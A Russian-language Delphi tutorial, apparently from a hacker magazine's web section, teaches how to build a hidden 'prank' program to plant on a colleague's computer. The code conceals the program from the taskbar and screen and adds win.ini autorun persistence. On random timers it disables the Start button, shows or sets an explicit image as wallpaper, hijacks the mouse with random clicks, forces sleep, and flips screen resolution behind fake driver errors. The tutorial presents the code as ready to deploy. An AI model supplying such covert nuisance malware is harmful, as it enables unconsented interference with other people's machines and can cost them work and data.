VR
Virtual Reality On-line   Delphi
Новости   |     Журнал    |    Хаkер   |     Магазин   |   Проекты
[   Вход    ]
[Kарта сайтa]
[ Download  ]
[  Конкурс  ]
[  Анекдоты ]
[  Ссылки   ]
[  Реклама  ]
[ Почтальон ]
[ О проекте ]






TopList
Delphi для приколиста:

Лозовский Александр, klouniz@mail.ru

Сегодня, как ты догадался, нам предстоит закодить прогу-прикол. Поэтому запасись пивом и фисташками, чтобы подготовить свой мозг к принятию новой инфы. Эту прогу я решил сделать несколько отличной от типичных "образцов" жанра, но показать при этом возможности большинства прог, что я видел (и не видел) в инете. Наше произведение при первом запуске будет обеспечивать себе постоянную автозагрузку (зачем лишний раз напрягать юзера запуском?), не будет особо заметна для жертвы (только по Ctrl-Alt-Del) а прикалываться- много, часто и по разному :)

Так что я прекращаю базарить и перехожу к кодингу, поэтому изволь запустить Delphi :)

Для начала обеспечим себе невидимость. Ведь наша жертва должна полагать, что ее мучают багипроклятого MD, а не злобные приколы коллеги по отделу :) Поэтому делай project--> view source и убивай в появившемся окошке все после {$R *.RES}. Заместо этой ботвы вдолби следующее:

var
 ExtendedStyle : integer;
begin
  Application.Initialize;
  ExtendedStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE);
  SetWindowLong(Application.Handle, GWL_EXSTYLE,
    ExtendedStyle or WS_EX_TOOLWINDOW);
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

Это даст нам невидимость в таскбаре (или, как говорит одна моя знакомая, на панели задач :)). Теперь иди в свойства формы (object inspector) и меняй Left и Top на -200. Можно и больше (-31337, например ;)), в зависимости от размеров формы. Это такой хитрый финт, чтобы главное окно проги оказалось за пределами видимости юзера. Можешь теперь запустить прогу и убедиться в ее незаметности.

AUTORUN

Создавай для формы событие OnCreate (object inspector--> вкладка events) и выжигай там письмена:

var win: TIniFile; //Добавь к Uses еще и  IniFiles, а то работать не будет
    pres: string;
begin
Win:= TIniFile.Create('win.ini');
Win.ReadString ('windows','run',pres); //Поглядим, что там из win.ini запускается
IF pres<> application.ExeName then //Если не мы, то... 
win.WriteString('windows','run',application.ExeName); //Теперь будем мы
Win.Free; //все
RaNdOmIzE; //инициализация генератора случайных(псевдо:)) чисел. Потом пригодится.

Это, как ты понял, давно всеми забытый способ автозагрузки- из win.ini. Но не бойся, я так сделал не из-за большой любви к win 3.11, просто оригинальности захотелось :)

CODUS PRICOLIZMUS

Кидай на форму три таймера (вкладка system палитры компонент). Для двух последних выставляй свойство enabled в false (отключай их, то есть), а вот первый таймер бери за жабры и делай ему нужный interval. Это будет частота, с которой наша прога будет выкидывать разные фортели. Создай этому таймеру событие OnTimer (посредством даблклика :)) и объяви там в разделе var переменную pricol типа integer. Этой переменной мы затем будем присваивать случайно значение (помнишь randomize?), и затем выкидывать разные приколы в зависимости от этого значения. Всего приколов будет пять, поэтому пиши:

procedure TForm1.Timer1Timer(Sender: TObject);
Var Pricol: integer;
begin
pricol:= random (5);
... //вот здесь будет все нижеописанное :)
end;


PRICOL №0- ЗАКРЫВАЕМ КНОПКУ "ПУСК"

С 1995 года кнопку "пуск" отменяли, закрывали, меняли на ней надпись и заставляли бегать по экрану тысячами способов. А все потому что она- всего лишь кнопка на окошке под названием "панель задач". И мы знаем класс этого окошка (Shell_TrayWnd). Поэтому все это в нашей, кодерской, власти! Долой "пуск":

IF pricol= 0 then
 begin
  EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0, 'Button', Nil), false);
 end;

...И если на нашей рулетке выпадет зеро, то вместо пуска будет зиять черный квадрат Малевича. Вернуть ее можно так:

 EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0, 'Button', Nil), true);

Хотя тебе это, я уверен, не пригодится ;)

PRICOL №1- ПРОСТОЙ И ЗЛОБНЫЙ

Представь себе ситуацию. Сидит твой друг за служебным компом и рассказывает о платонической любви и непорочном зачатии ;) Как вдруг выскакивает окошко Internet Explorer с весьма, хм, содержательной картинкой. Реакцию публики представить нетрудно. А делать будем вот так:

IF pricol= 1 then
 begin
  WinExec ('IEXPLORE.EXE c:\windows\pic.jpg',1);
 end;

А если не хочешь показывать свой шедевр в эксплорере, то делай:

 SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar('C:\windows\pic1.jpg'),
         SPIF_SENDWININICHANGE);

И картинка окажется натянутой на десктоп. Ну разве не круто? Только не говори потом, что я подучил :) Сын за отца не отвечает =)

PRICOL №2- БЕЗБАШЕННАЯ МЫШКА

Как тебе понравится, если вдруг мышка начнет "вырываться из рук" и давить куда попало? Я думаю, если твой "друг" уже прочитал нашу статью, то скоро у тебя будет шанс проверить это на своей шкуре :) Потому что злобный приятель напишет следующее:

IF pricol= 2 then
 begin
  num:=1; //не забудь ее объявить в голбальных переменных! 
          //Это наш счетчик. Не может же мышка дергаться вечно ;) 
  Timer2.enabled:= TRUE;  //передаем эстафету второму таймеру
  Timer1.enabled:= FALSE; 
 end;

А в обработчик OnTimer второго таймера он набьет:

procedure TForm1.Timer2Timer(Sender: TObject);
var PXY: TPoint; //переменная координат
    NewX,NewY,rw: integer; //координаты
begin
 rw:= random (2); //кинем монетку :)
 GetCursorPos (pxy); //Текущая позиция курсора

 //Случайным образом изменим координату X 
 IF rw= 0 then NewX:= PXY.X+random(200) else NewX:= PXY.X-random(200); 
 IF rw= 1 then NewY:= PXY.Y+random(200) else NewY:= PXY.Y-random(200); //и Y тоже
 SetCursorPos (NewX,NewY); //установим курсор в новые координаты

 //имитируем нажатие левой кнопки
 Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, NewX, NewY,0,0); 

 //..и ее отпускание
 Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, NewX, NewY,0,0);
 Inc (num);       // Увеличим счетчик безумств
 IF num= 150 then //похоже, пора завязывать
  begin
   Timer1.enabled:= TRUE; //Отдаем управление основному таймеру
   Timer2.enabled:= FALSE;
  end;
end;

Так что постарайся опередить своего друга-приколиста :) Обмани ближнего своего, ибо ближний обманет тебя и возрадуется /Библия Приколиста/. :)

PRICOL №3- СПОКОЙНОЙ НОЧИ, WINDOWS!

Для начала кинь на свою форму какую- нибудь картинку (лучше- фотку предполагаемой жертвы), потому как нам придется показать окно программы. Не просто так, конечно, а с подвохом:

IF pricol= 3 then
 begin
  form1.Position:= poScreenCenter; //Выносим главное окно в центр экрана
  MessageDlg ('Слышь, баклан! Ты че-то засиделся. Я уже спать хочу!',mtInformation,[mbOK],0);
  form1.position:= poDesigned;// Вернемся ЗА КРАЙ :)
  SetSystemPowerState (true,true); // Уходим в спячку (sleep-mode)
 end;

Выглядит это достаточно эффектно, поэтому подумай сначала, надо ли себя так афишировать. А то у меня один приятель подумал что к нему на комп попал злобный вирус и тут же купил лицензию на AVP (!). А когда он не помог, просто форматнул себе винт :)

Да, и еще: функция SetSystemPowerState не работает в Win2k и NT. Поэтому не шуми и не заваливай меня письмами по этому поводу :)

PRICOL №3- СПОКОЙНОЙ НОЧИ, WINDOWS!

На самом деле я не хотел писать про этот прикол. Потому что ничего о нем не знал :) Но сегодня я наткнулся в инете на прогу, которая несколько раз меняет разрешение экрана и при этом выдает дурацкие сообщения об ошибках. Не знаю, прикольно это или нет, но мне захотелось описать тебе ее работу. Пиши (сколько раз я уже сказал это слово:)) все в тот же первый таймер:

IF pricol= 4 then
 begin
  num:=1; //Старый добрый счетчик. Теперь- количество смен разрешения
  Timer3.enabled:= TRUE;  //передаем эстафету третьему таймеру
  Timer1.enabled:= FALSE; 
 end;

А в OnTimer третьего таймера вот этот могучий текст:

procedure TForm1.Timer3Timer(Sender: TObject);
var
 dm : TDEVMODE;
 x: array [1..3] Of integer;
 y: array [1..3] Of integer;
 x1,y1,n: integer;
begin
 //Объявляем доступные разрешения
 x[1]:= 640;  y[1]:=  480;
 x[2]:= 800;  y[2]:=  600;
 x[3]:= 1024; y[3]:=  768;
 //Ok
 n:= random (3);// случайно выбираем
 x1:= x[n+1]; //...ширину
 y1:= y[n+1]; //...высоту
  {Устанавливаем}
  ZeroMemory(@dm, sizeof(TDEVMODE));
  dm.dmSize := sizeof(TDEVMODE);
  dm.dmPelsWidth := x1;
  dm.dmPelsHeight := y1;
  dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;
  ChangeDisplaySettings(dm, 0);
  IF num= 10 then
  begin
  Timer1.enabled:= TRUE;
  Timer3.enabled:= FALSE;
  end; 
  MessageDlg ('Could not initalize video driver'#13#10'Please, restart windows!',
           mtError,[mbOk],0);
//идиотское сообщение об ошибке ;)
  {Вте!}
end;


END OF THE WORLD

Ну вот мы и написали полноценную пограмму-прикол. Это оказалось совсем не сложно, и это при том, что прога вышла понавороченнее многих своих собратьев :) Не забудь скачать исходник, он слегка отличается от описанного мной. Удачи!

 Исходники примера забирай здесь


Copyright©: Horrific aka Флёнов Михаил
Design by FMk group©